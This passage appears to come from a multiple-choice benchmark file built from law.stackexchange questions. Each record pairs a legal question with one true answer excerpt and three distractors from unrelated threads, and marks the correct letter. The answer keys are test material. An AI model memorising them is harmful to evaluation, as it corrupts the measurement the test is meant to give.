aspect of the Platform or Accounts at any time, including removing items, or revising the effectiveness of items in an effort to balance a Game. Blizzard may...", "D": "There isn't any indication in that news story that the disabled son was anywhere nearby. I agree the situation you describe sounds like a legitimate use of the placard, but it seems in this situation, the placard was being used in a manner totally unrelated to the transport of a disabled person. My guess is that the cops cited her because the son wasn't in the car, and was not inside the establishment at which she parked. California code has this to say: A person to whom a disabled person placard has been issued may permit another person to use..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/743/do-disclaimers-need-to-be-capitalized"} {"id": "law_38356", "domain": "law", "question_title": "Do Legal Documents Require Signing In Standard Pen Colors?", "question_body": "I have a question as to whether or not legal documents signed in non standard pen colors (Anything other than blue or black) are valid. I carry a purple pen around that use for everyday writing tasks, and when I was going to sign a document, someone told me that writing in purple is not valid on legal documents. If the document does not specify that a certain pen color be used, is this true?", "question_score": 35, "question_tags": ["united-states", "contract-law", "new-york-state", "signature"], "choices": {"A": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "B": "No, Specific Ink Colors are not Required That is not correct. If the purple will not photocopy well, the other party might reasonably ask for a color that will. But a signature is normally only evidence of agreement to the provisions, and it is the agreement that is legally important. The color of the ink used does not change the agreement. It is normal to expect a signature to be in a permanent ink. A signature in pencil or erasable ink might be legal, but the other party will not want to accept it, and it would be reasonable to...", "C": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "D": "If you are not a member of the Bar of Maryland, you may not \"practice, attempt to practice, or offer to practice law in the State unless admitted to the Bar.\" Maryland Business Occupations and Professions § 10-601 . \"Practicing law\" includes \"representing another person before a unit of the State government or of a political subdivision.\" Maryland Business Occupations and Professions § 10-101 . \"[A] person who violates § 10-601 of this subtitle is guilty of a misdemeanor and on conviction is subject to a fine not exceeding $5,000 or imprisonment not exceeding 1 year or both.\" Maryland Business..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/38356/do-legal-documents-require-signing-in-standard-pen-colors"} {"id": "law_47048", "domain": "law", "question_title": "How to protect assets from being passed to a beneficiary in a will when they are likely to die soon also", "question_body": "I'm going through the process of creating a simple (my first) last will and testament. I'm young with modest assets. I'm married with no children and live in the United States. I'd like to have something in place to make things as seamless as possible in the case of my death. My spouse will be my first beneficiary, but I will also have other family as secondary beneficiaries in the case my spouse and I die at the same time. While creating the will, I was considering the following scenario: my spouse and I are in an accident together. I die immediately, yet they live for some longer period of time (days/months). They eventually die as well. I think the question boils down to: at what point does my will go into effect and pass my assets to them? Does it have to do with their condition (conscious/unconscious, mentally competent/incompetent)? Does this change based on who is the executor of the will? It would seem a bit contrary to my wishes if I were to pass, my assets pass to my spouse, and then shortly to their second beneficiaries instead of mine, especially if it was always unlikely they'd recover. How do wills typically handle this edge case?", "question_score": 35, "question_tags": ["united-states", "wills", "inheritance"], "choices": {"A": "at what point can you just leave? Is it always technically illegal in the UK to leave without paying the bill? Probably depends on what you mean with just leaving. If just leaving translates I haven't paid and I won't pay (because of the hassle with the card) then that's probably Making Off Without Payment, section 3 Theft Act 1978 (Thanks @bdsl). Could the restaurant just force you to wait until close of business if necessary? What if they still hadn't fixed the payment system by then? I don't think a restaurant can physically detain you. Not even the 45...", "B": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "C": "Wills typically handle this by specifying a survivorship period . Such a clause may say, in effect, \"I leave all my assets to my spouse, provided they survive me by at least 30 days, and otherwise to beneficiaries X,Y,Z.\" That way, if your spouse dies shortly after you, your assets go to X,Y,Z, rather than going to your spouse and then to their beneficiaries. Another issue this avoids: suppose you are in an accident together, and by the time rescuers arrive, you are both dead. Without a survivorship period requirement, courts might have to try to determine whether one of...", "D": "Maybe, Hence the Lawsuits In the absence of clear statute law these all circle around tort law. For the scooter companies, trespass to chattels , and for the affected landowners (who hire the removalists) trespass to land and nuisance seem applicable. In essence, I can’t take your stuff (trespass to chattels) but you can’t leave your stuff on my property (trespass to land) or impeding access to it (nuisance). If you do, I am entitled to the reasonable costs of dealing with it. Note that, as owner, you remain responsible for you stuff even if you rented it to someone..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/47048/how-to-protect-assets-from-being-passed-to-a-beneficiary-in-a-will-when-they-are"} {"id": "law_51595", "domain": "law", "question_title": "How to store refusal of cookie consent", "question_body": "If a user refuses cookies on a website, then how can that website store that refusal? As far as I can tell, the GDPR requires you to store both consent to and refusal of personal data storage. But it seems to me that there is a catch 22 here: they specifically refused the storage of their data, and now the website is supposed to store that somehow. How can you store that information in a compliant way? My initial thought is to use a cookie, but would that be non-compliant? They did just refuse the storage of cookies on their device... And if I store it in a database somewhere, how am I supposed to associate that refusal with that user if I can't store personal information? According to the accepted answer to this question , you can use a userId or some such. But first of all that is in the context of consenting, not refusing, to cookies; secondly, if that identifier is associated with a user, then by definition it is personal data (right?) and therefore storing that information would be non-compliant. Regarding the storage of consent, is it enough to store that in a cookie on the user's device or do you really need to store it in a database somewhere? That really seems superfluous to me.", "question_score": 35, "question_tags": ["privacy", "gdpr", "european-union", "data-protection"], "choices": {"A": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "B": "What is the legality of someone putting a virtual hot spot on your property without permission? I know we are in uncharted territory but how would this compare to setting up a contest that would require going on your property without permission? The existence of a game does not authorise entrance to private property, barring some agreement with the owner. That is - if it is trespassing without Pokemon Go (or, for that matter Ingress), then it is trespassing while playing them. That being said, the creators of the game are free to place their in-game targets anywhere they please,...", "C": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "D": "The so-called 'cookie law' obliges you to inform the user about the site's cookies (or use of Storage or such on the user's computer) and ask for consent for those that are not \"strictly necessary for the provision of an information society service requested by the subscriber or user\". It does not require you to seek consent for the use of any cookie no matter what function it has. \"Strictly necessary\" cookies include those necessary for the website to comply with the law. Per guidance from the Information Commissioner's Office (ICO) in the UK (see the example box), a cookie..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/51595/how-to-store-refusal-of-cookie-consent"} {"id": "law_57421", "domain": "law", "question_title": "Is youtube-dl takedown due to their tests which use copyrighted content?", "question_body": "The DMCA takedown notice posted on GitHub's youtube-dl page seems to be primarily based on the fact that youtube-dl is expressly advertised as a tool to \"circumvent the technological protection measures used by authorized streaming services\", to the point that the test cases consist in downloads of videos copyrighted by WMG and Sony Music: Indeed, the comments in the youtube-dl source code make clear that the source code was designed and is marketed for the purpose of circumventing YouTube’s technological measures to enable unauthorized access to our member’s copyrighted works, and to make unauthorized copies and distributions thereof: they identify our member’s works, they note that the works are VEVO videos (virtually all of which are owned by our member companies), they acknowledge the those works are licensed to YouTube under the YouTube standard license, and they use those examples in the source code to describe how to obtain unauthorized access to copies of our members’ works. Is this really the crux of the problem? That is, if youtube-dl developers removed problematic test cases, comments and links to copyrighted videos, would the project become compliant with the Section 1201 of the DMCA? Or is the real problem that youtube-dl implements the \"rolling cipher\" used by YouTube to protect their content?", "question_score": 35, "question_tags": ["united-states", "dmca"], "choices": {"A": "The takedown action is a little sketchy. The law regarding takedown notices and host liability is here . The notice includes \"Identification of the copyrighted work claimed to have been infringed\", a \"signature of a person authorized to act on behalf of the owner of an exclusive right that is allegedly infringed\", and a statement that \"the complaining party has a good faith belief that use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law\". These things are present in the notice, for which reason the items were taken...", "B": "A few possible reasons it could be illegal (on an issue spotting basis, not a careful analysis of each possible reason): The EO is intended to discriminate on the basis of religion and in fact does so in violation of the 1st Amendment to the United States Constitution. The EO is intended to unlawfully discriminate based upon race or ethnicity in violation of U.S. statutes or the 14th Amendment. The EO was adopted without observing the notice and hearing requirements of the Administrative Procedure Act. The EO took effect prematurely because it was not duly published in the Federal Register...", "C": "This has been prosecuted criminally, in the scenario of people taking a huge pile of \"free\" newspapers to sell for recycling. See coverage in the Independent from 16 February 2019. Some previous prosecutions against the same or similar groups had been dropped but this one succeeded. While copies of the Evening Standard are given away for free at train stations, the big stack of them is still somebody's property, and the socially expected arrangement is that a member of the public will take just one, rather than the lot. The reason they are being offered is to achieve a wide...", "D": "If you are not a member of the Bar of Maryland, you may not \"practice, attempt to practice, or offer to practice law in the State unless admitted to the Bar.\" Maryland Business Occupations and Professions § 10-601 . \"Practicing law\" includes \"representing another person before a unit of the State government or of a political subdivision.\" Maryland Business Occupations and Professions § 10-101 . \"[A] person who violates § 10-601 of this subtitle is guilty of a misdemeanor and on conviction is subject to a fine not exceeding $5,000 or imprisonment not exceeding 1 year or both.\" Maryland Business..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/57421/is-youtube-dl-takedown-due-to-their-tests-which-use-copyrighted-content"} {"id": "law_60524", "domain": "law", "question_title": "Could double jeopardy protect a murderer who bribed the judge and jury to be declared not guilty?", "question_body": "Assume the following hypothetical case: a well-known multi-billionaire is holding an event with lots of invitees, (so there is no doubt about his identity), then in front of many witnesses and live cameras takes out a gun and murders several people, while saying that he is of sane mind, and intended to do this because they annoyed him. It seems like a clear-cut case, his guilt is beyond all reasonable doubt. But at the trial, he is declared not guilty. Everyone is horrified, but he goes free. Much later it comes to evidence that the judge and jury received ludicrous sums of money, and disappeared in a country with no extradition treaty. Can someone be protected by double jeopardy in such a case?", "question_score": 35, "question_tags": ["double-jeopardy"], "choices": {"A": "The Plan For A Clearly Guilty Client Without Bargaining Power This question underestimates how much of a criminal defense lawyer's work involves sentencing rather than a determination of guilt or innocence. Suppose as the OP does that the prosecution can easily prove beyond a reasonable doubt that your client is guilty, you client has no plausible defenses, and the prosecutor won't budge on a plea. As a criminal defense lawyer, you may well advise your client that there is no percentage in fighting guilt on the charges, and have your client plea guilty. This prevents the prosecutor from spelling out...", "B": "There is precedent for the idea that double jeopardy need not apply when the initial trial was a sham because the judge and/or jury had been bribed. See Aleman v. Judges of Cook County Circuit Court , 138 F.3d 302 (7th Cir. 1998) . This case was very similar to your hypothetical: Aleman was initially acquitted of a murder, but years later it came to light that he had bribed the judge (in a bench trial). He was retried and convicted in state court. He appealed his conviction on the grounds of double jeopardy, but the Seventh Circuit denied his...", "C": "Technically anyone can sit on a jury. Lawyers are not automatically excluded from juries anymore, as being called for jury duty is a right and a duty that the law abhors automatically excluding people from. That is the official line on this. However, in reality, lawyers will always be stricken from serving by one of the lawyers trying the case. Each lawyer has a certain number of preemptory strikes (the ability to get rid of a juror for any reason, aside from those protected by law, such as race, religion, etc). They also have unlimited \"for cause strikes,\" which are...", "D": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/60524/could-double-jeopardy-protect-a-murderer-who-bribed-the-judge-and-jury-to-be-dec"} {"id": "law_78970", "domain": "law", "question_title": "Can I get reimbursed if police shot the window of my car during a standoff?", "question_body": "My car was parked in the parking lot of a large chain grocery store, upon returning to my car I found the police in a standoff with a suspect with my vehicle right at the center. I asked if I could move my car but the officers got angry and started ignoring me. SWAT team got called in and it ended with them firing and shattering my rear window with their bullets. Officers were unprofessional and ignored my concerns. This took place in the great state of Texas. Is there anything I can do to get them to pay for my broken window? I have the incident on video. Updated : I forgot to add that I was standing there for 3 hours before any shots were fired, plenty of time to let me move the car.", "question_score": 35, "question_tags": ["police", "property", "texas", "vehicle", "governmental-liability"], "choices": {"A": "Most leases have a provision allowing a landlord to make entry without notice in an emergency, but the better course of action, as noted in a comment by @BlueDogRanch, is to call the police and ask them to make a \"welfare check.\" You would ordinarily be permitted to cooperate with police by unlocking doors in furtherance of their welfare check. The police are trained to do this properly in a way that properly balances the need to aid someone who is sick or ill, the need to preserve evidence if there was a death or crime that needs to be...", "B": "There is no legal obligation of the police or any of its officers to reimburse you. It comes within a police powers exception to the 5th Amendment obligation to provide compensation for takings. Sometimes a government will compensate someone even though it has no legal obligation to do so, but this is unlikely to happen. A petition for certiorari from 10th Circuit decision of Lech v. City of Greenwood Village (10th Cir. October 29, 2019) recaps a lot of the relevant law and arguments for changing it (the petition was subsequently denied by the U.S. Supreme Court). The question presented...", "C": "You cannot deny the federal government the right to use your patent, but you can sue them for \"recovery of [your] reasonable and entire compensation for such use and manufacture\", see 28 USC 1498 . Note that the statute refers to such use as being \"without license of the owner thereof or lawful right to use or manufacture the same\", that is, there is no lawful right to infringe on a patent, but recourse for infringement is highly limited. A suit against the government under §1498 is (see the summary in Airborne Data v. US , 702 F.2d 1350) on...", "D": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/78970/can-i-get-reimbursed-if-police-shot-the-window-of-my-car-during-a-standoff"} {"id": "law_81811", "domain": "law", "question_title": "Is it legal to break into a locked car to get a child out in hot weather?", "question_body": "The NHTSA's page about heat stroke in cars seems to imply that if you see a child left in a locked car on a hot day, you should break into the car to get the child out. \"If you see a child alone in a locked car, get them out immediately and call 911.\" The only way to \"get them out\" of a \"locked car\" would be to break in. Is this legal?", "question_score": 35, "question_tags": ["united-states", "oregon"], "choices": {"A": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "B": "Oregon allows it, see ORS 30.813 . One who enters a motor vehicle, by force or otherwise, to remove a child or domestic animal left unattended in the motor vehicle is not subject to criminal or civil liability You have to verify that the car is locked, you have to have a good faith and reasonable belief that breaking in is necessary because of imminent danger of suffering harm, you must notify the police and you must remain with the child / animal until police arrive.", "C": "There isn't any rule which would prioritize the President, as far as I can tell. Generally, organ allocation is required to be based on medical criteria, not on factors such as the occupation or societal role of the patient. 42 USC 273 specifies that organ procurement shall be administered by \"qualified organ procurement organizations\" and sets up ground rules for their operation, one of which is: have a system to allocate donated organs equitably among transplant patients according to established medical criteria. Further regulations implementing this law are to be found at 42 CFR 121 . 121.8(a)(1) specifies that allocation...", "D": "Yes you can, and you can even include \"editorials or subjective content\". However, if you include factual statements, or words that imply factual statements, the company could claim that they are false, and therefore defamatory. Indeed they might claim that in any case. If you make no false statements of fact, they should not be able to win a defamation suit, but you might need to spend time and money defending yourself if they choose to sue. The detailed rules on defamation vary by jurisdiction, in the US by state. But in no US state can defamation be found against..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/81811/is-it-legal-to-break-into-a-locked-car-to-get-a-child-out-in-hot-weather"} {"id": "law_85905", "domain": "law", "question_title": "Why does it matter that a group of January 6 rioters went to Olive Garden for dinner after the riot?", "question_body": "CNN has an article pointing out that the rioters went to Olive Garden for dinner and spent $400 after the riot. The article implies that where they went for dinner, and how much they spent, is relevant to their trial. Why does it matter where they go for dinner and how much they spend? What they did at the Capitol was both illegal and immoral, but going to Olive Garden is neither.", "question_score": 35, "question_tags": ["united-states", "jan-6"], "choices": {"A": "Legally speaking, very many nations grant asylum, and religious persecution is one of the most basic grounds for granting asylum, following the 1951 Refugee Convention . This newspaper article compares asylum statistics in Ireland versus other parts of Europe. The Irish immigration authorities spell out the details for an asylum application. Note that you must already be in Ireland, to apply for asylum in Ireland (you should apply when you enter the country). One could also apply to Norway (almost an English-speaking country), but again you have to be in Norway to do so. There is a generic solution to...", "B": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission...", "C": "The article says: Defense lawyers say the evidence does not show a celebration of violence. Which implies that the prosecution claimed exactly that, or at least that the defense anticipates the prosecution to claim something along those lines. The article also says [ bold italic emphasis mine]: Defense lawyers for Rhodes have previously addressed the dinner, saying that prosecutors’ theory of the episode is incorrect. Rhodes’ lawyers said in a court filing the dinner is evidence that the militia leader wasn’t working to foment a revolution . “ The conditions would never be better . Yet, Rhodes and the others...", "D": "Yes, that’s allowed. Under the Stack Exchange terms of service , content you upload is licensed to Stack Exchange Inc. on a non-exclusive basis under CC-BY-SA 4.0. The terms of service do not give Stack Exchange the copyright to your contributions, and a non-exclusive license means you are not promising Stack Exchange that “only Stack Exchange will be allowed to use this content.” That means you can continue to do whatever you want with your own content and do not need to mention Stack Exchange at all. The only restriction is that you can’t stop Stack Exchange from continuing to..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/85905/why-does-it-matter-that-a-group-of-january-6-rioters-went-to-olive-garden-for-di"} {"id": "law_97381", "domain": "law", "question_title": "Would it be legal to supply an item that deliberately stops working after the guarantee expires?", "question_body": "I have TV that failed about a week after the 3 year guarantee expired. Obviously this is annoying, and I'm back to using a 15 year old TV that I dug out from the attic. Realistically, this failure so close to expiry of the guarantee is probably just a co-incidence, but it did get me thinking, the TV is a 'smart TV' with lots of electronics inside. It wouldn't be difficult to deliberately design it to stop working after exactly 3 years. If a manufacturer deliberately did this (and didn't mention it in their sales literature) would this be lawful? This is slightly different from 'planned obsolescence' whereby spare parts aren't available, or an item can't be disassembled without destroying it, I'm talking about something very similar to buying a software license - where a fixed fee up-front allows you to use a product for exactly 12 months. In practice, when I buy a physical item I regard the guarantee as the minimum period the item should work for with the expectation that with a bit of luck it should work for a lot longer. Could a manufacturer lawfully sell a TV/kettle/electric drill deliberately designed to fail after a fixed period?", "question_score": 35, "question_tags": ["united-kingdom", "consumer-protection", "is-x-legal"], "choices": {"A": "australia Deliberately rendering the TV non-operational through software would appear to be malicious damage. Under the Australian Consumer Law, one of the statutory guarantees is that a product must be “durable”. Manufacturer’s can offer explicit warranties in addition but these in no way impact on the statutory guarantees. What durable means depends on the product and the price paid for it. For a low end TV, 3 years might be durable enough although it’s arguable, but for a high end TV it wouldn’t be. For whitegoods, 10 years would be appropriate. A similar period would be appropriate for a car....", "B": "A \"land contract\" is not a way of renting property, it is a way of purchasing property on an installment basis without bank financing. It is Ohio's version of what in some other places is known as \"contract for deed\". See \"What is a Land Contract in Ohio\" and \"How Land Contracts Work\" The actual law is Section 5313 . In a land contract, the buyer has equitable but not legal title. The buyer normally pays all taxes and fees, and is responsible for maintaining the property, just as if s/he has bought the property. But if the buyer defaults,...", "C": "Short Answer Applicants are required by military regulation to have a percentile score on a standardized test called the ASVAB that is 31 or more, which is roughly comparable to an IQ score on the Stanford-Binet scale of a little bit less than 92, for high school graduates seeking to enter the Army or Navy (other services have more strict requirements and applicants with only a GED or to the national guard must have an ASVAB score in the 50th percentile which is equivalent to an IQ of 100). But, U.S. law allows the Department of Defense to allow people...", "D": "In the united-kingdom , the legal basis flows from the Sanctions and Anti-Money Laundering Act 2018 . This allows regulations to be made for particular sanctions regimes, in this case The Russia (Sanctions) (EU Exit) Regulations 2019 and its several amendments, including three revisions this year. Under those regulations, the Secretary of State may designate individuals who are then subject to particular sanctions. A consolidated list is available for all individuals and organizations who have been named under any of the regulations, not just the Russia one. Working backwards from the list, we see such names as Vladimir Putin, who..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/97381/would-it-be-legal-to-supply-an-item-that-deliberately-stops-working-after-the-gu"} {"id": "law_104642", "domain": "law", "question_title": "Sticker on caption phone says that using the captions can be illegal. Why?", "question_body": "I was testing donated electronics at a local non-profit, to decide what to put on the shelves and what to recycle, when I found this: Federal law prohibits anyone but registered users with hearing loss from using this device with Captions On. I can understand the loudness warning on the ear end of the handset, but I'm puzzled as to why captioning a phone call would be illegal if you didn't need it. What were the circumstances under which that prohibition came about? What is it trying to prevent? For example, is the prohibition based on concerns around eavesdropping or wiretapping? Is the captioning technology licensed under a restrictive license that permits its use only as a disability accommodation? Is the purchase cost of the device subsidized under some disability benefit program? I've seen commercials for captioned phones, that are clearly not targeting me, but as far as I can tell, none of them mentioned that it's actually illegal for me to use their product for its advertised function. Per the comments, here's the bottom too:", "question_score": 35, "question_tags": ["united-states", "disabilities", "phonecall", "communications-law"], "choices": {"A": "This is the Fed (FCC) saying \"I'm paying for this, so I get to determine who uses it.\" The service costs money. It is not automagic speech to text, but rather there is often (usually?) an actual human typing it in. Carriers front the cost, and then get compensation from the Fed. The Federal govt picks up that cost. They don't want people that don't need it due to hearing loss making use of that service and its associated costs. From the FCC : Title IV of the Americans with Disabilities Act (b) Availability of telecommunications relay services: the Commission...", "B": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "C": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "D": "There is a history of \"giving away patents\", which allows the original grantor to foster innovation instead of stifle it. Here are some examples: Sealand Industries - ISO Shipping Container Patented the standard shipping container, then gave away the patent royalty free, allowing a revolution in ocean going shipping. Annually it is estimated that $440 billion are shipped through these containers. Tesla - 200+ patents Elon Musk announced that the company \"will not initiate patent lawsuits against anyone who, in good faith, wants to use our technology.\" . Toyota - Hydrogen Fuel Cell Patents Released 5,680 patents related to hydrogen..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/104642/sticker-on-caption-phone-says-that-using-the-captions-can-be-illegal-why"} {"id": "law_3572", "domain": "law", "question_title": "If someone's record has been expunged, can they legally say that they have not been arrested?", "question_body": "If someone applies for a job and the application asks whether they've ever been arrested, can they legally say on the application that they have not been arrested before? Note: Case was dismissed with no finding of fact.", "question_score": 34, "question_tags": ["new-york-city", "charge-dismissed", "expungement"], "choices": {"A": "Public nudity is illegal in New York as it is in almost every U.S. jurisdiction. And, if the police had arrested the nude protesters, the arrests probably would have been upheld in court, because a ban on nudity in public would probably be viewed as a time, place and manner restriction on the freedom of speech which is constitutionally valid. For example, the Ninth U.S. Circuit Court of Appeals recently upheld San Francisco’s public nudity ordinance in Taub v. City and County of San Francisco (2017). As the court in that case explains in a factually very similar case: Public...", "B": "In the case of United States vs Wong Kim Ark 169 U.S. 649 (1898) (a 6-2 decision), the Supreme Court wrote: [T]he real object of the Fourteenth Amendment of the Constitution, in qualifying the words, \"All persons born in the United States\" by the addition \"and subject to the jurisdiction thereof,\" would appear to have been to exclude, by the fewest and fittest words (besides children of members of the Indian tribes, standing in a peculiar relation to the National Government, unknown to the common law), the two classes of cases -- children born of alien enemies in hostile occupation...", "C": "New York Criminal Procedure - Article 160.6 states, Upon the termination of a criminal action or proceeding against a person in favor of such person, as defined in subdivision two of section 160.5 of this chapter, the arrest and prosecution shall be deemed a nullity and the accused shall be restored, in contemplation of law, to the status he occupied before the arrest and prosecution. The arrest or prosecution shall not operate as a disqualification of any person so accused to pursue or engage in any lawful activity, occupation, profession, or calling. Except where specifically required or permitted by statute...", "D": "Think through the logical combinations of two questions: The government is tyrannical or just, the revolution is successful or not. Tyrannical government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Just government, revolution successful: The revolutionaries will congratulate each other, and of course they are not persecuted by the new government they install . Tyrannical government, revolution not successful: The legal system will find the justified attempt illegal (because they are the legal system defending a tyrannical government), the would-be revolutionaries are persecuted. Just government, revolution..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3572/if-someones-record-has-been-expunged-can-they-legally-say-that-they-have-not-b"} {"id": "law_3636", "domain": "law", "question_title": "Is it illegal to throw away the previous tenant's mail?", "question_body": "Say I move into an apartment. And over the next months and years, I keep receiving mail for the previous tenant, whom I do not know. This is understandably annoying. The easiest and most convenient approach for me is to just throw away his mail – but would I be breaking any law if I did so?", "question_score": 34, "question_tags": ["united-states", "mail"], "choices": {"A": "Trump was an officer of the government, and Twitter wasn't. The First Amendment forbids the government and its agents from viewpoint discrimination, but private companies are not bound by it and can discriminate as much as they please. (There was a question as to whether such discrimination might affect whether the company enjoys a shield from liability under 47 USC 230 , but even so they have the right to block and censor as they wish if they are willing to risk that liability.)", "B": "While there is an act that President Trump and his supporters are citing, titled the Presidential Records Act (PRA) , to accuse House Speaker Pelosi of breaking federal law, it is important to understand what actions the law accounts for. The act mandates that the President of the United States preserve records and other laws governing the federal government. This serves as a form of checks and balances to prevent the president and his advisers from shielding documentary information from public view. The act is fairly new, as it was passed in 1981. It is important to realize that this...", "C": "In order to accommodate various objections that have arisen in recent generations, in general: You are allowed to \"affirm\" instead of \"swear\" You do not have to say \"so help me God\" You do not have to place your hand on a Bible or any object These variances are often allowed by statute. A witnessed \"solemn affirmation\" has the same legal consequences as the traditional swearing on a Bible: I.e., you would be held to the same statutes and rules that apply to sworn statements.", "D": "Do not throw away mail that is not addressed to you. If you receive misaddressed mail, write \"Not at this address\" on the envelope and put it in a mailbox, or give it to the mailperson (source: United States Postal Service - Reporting / returning misdelivered mail ). Also, if you contact USPS they may redirect the misaddressed mail for you. 18 U.S. Code § 1702 - Obstruction of correspondence Whoever takes any letter, postal card, or package out of any post office or any authorized depository for mail matter, or from any letter or mail carrier, or which has..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://law.stackexchange.com/questions/3636/is-it-illegal-to-throw-away-the-previous-tenants-mail"} {"id": "law_54807", "domain": "law", "question_title": "Do the police have to kick someone out the house if the owner demands it?", "question_body": "I phoned the police to kick my in laws out the house after they started to take my furniture when they were only meant to take theirs (splitting up with wife). They came but refused to kick them out immediately and instead just waited until they had taken all their furniture. They also told them what they can take and what they cant take. Isn't this illegal for police to do?", "question_score": 34, "question_tags": ["united-kingdom", "police", "property", "trespass"], "choices": {"A": "Yes, it's illegal You are missing something terribly important: The package might not be your property [yet]. In any way, it is not in your possession, while it is in the hands of the postal service! The contents of the package started fully owned by the sender and were entrusted to the postal service to deliver it. This entrustment is (contractually) defined as the time it is handed to the postal service, but the postal service does not gain any ownership. They do however have insurance on the parcel (to some degree), as they are liable for the loss of...", "B": "Trespass to land in most instances is a civil matter, and as such the police do not have the power to assist. Initially, the landowner should ask the trespasser to leave the land and if he/she does then all is well. If he/she refuses to leave the land then you will need to consider taking civil action. It could be dangerous for the landowner to try to remove the trespasser themselves. The owner of the land could commit several criminal offences if he forcibly removes the trespasser and his/her property from the land. The best and safest course of action...", "C": "Assuming U.S. Jurisdiction: In the case of The People vs. Hansel and Gretel Holzfaller: Ms. Gretel Holzfaller is charged with the following: 1 Count of Murder in the First Degree (Murder of Ms. Witch Hazel) 1 Count of Grand Larceny (Theft of precious metals and jewels from 